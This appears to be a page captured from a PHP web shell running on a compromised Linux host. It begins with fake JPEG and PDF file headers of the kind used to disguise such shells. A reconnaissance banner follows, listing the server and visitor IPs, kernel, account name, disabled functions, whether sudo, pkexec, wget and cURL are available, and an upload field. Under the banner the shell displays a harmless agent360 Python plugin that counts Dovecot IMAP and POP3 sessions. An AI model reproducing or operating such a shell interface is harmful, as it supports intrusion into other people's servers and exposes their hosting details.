ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/2717180/root/usr/local/lib/python3.6/site-packages/agent360/plugins/ |
Upload File : |
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import subprocess import plugins import re class Plugin(plugins.BasePlugin): __name__ = 'dovecot' def run(self, config): ''' Returns active dovecot IMAP and POP3 session and the current version. Sudo permission to acces doveadm and dovecot commands are required. Exampel config for /etc/agent360.ini: [dovecot] enabled = yes ''' data = {} output = os.popen('sudo doveadm who').read() output2 = os.popen('sudo dovecot --version').read() output3 = os.popen('sudo dovecot --hostdomain').read() imapsum = 0 pop3sum = 0 for row in output.split("\n"): if re.search(r'.*(imap|pop3).*', row): imapr = re.search(r' +([0-9]+) +imap +', row, re.IGNORECASE) popr = re.search(r' +([0-9]+) +pop3 +', row, re.IGNORECASE) if imapr is not None: imapsum = imapsum + int(imapr.group(1)) if popr is not None: pop3sum = pop3sum + int(popr.group(1)) data['imap'] = imapsum data['pop3'] = pop3sum data['meta'] = {'version': output2.strip(), 'hostdomain': output3.strip()} return data if __name__ == '__main__': Plugin().execute()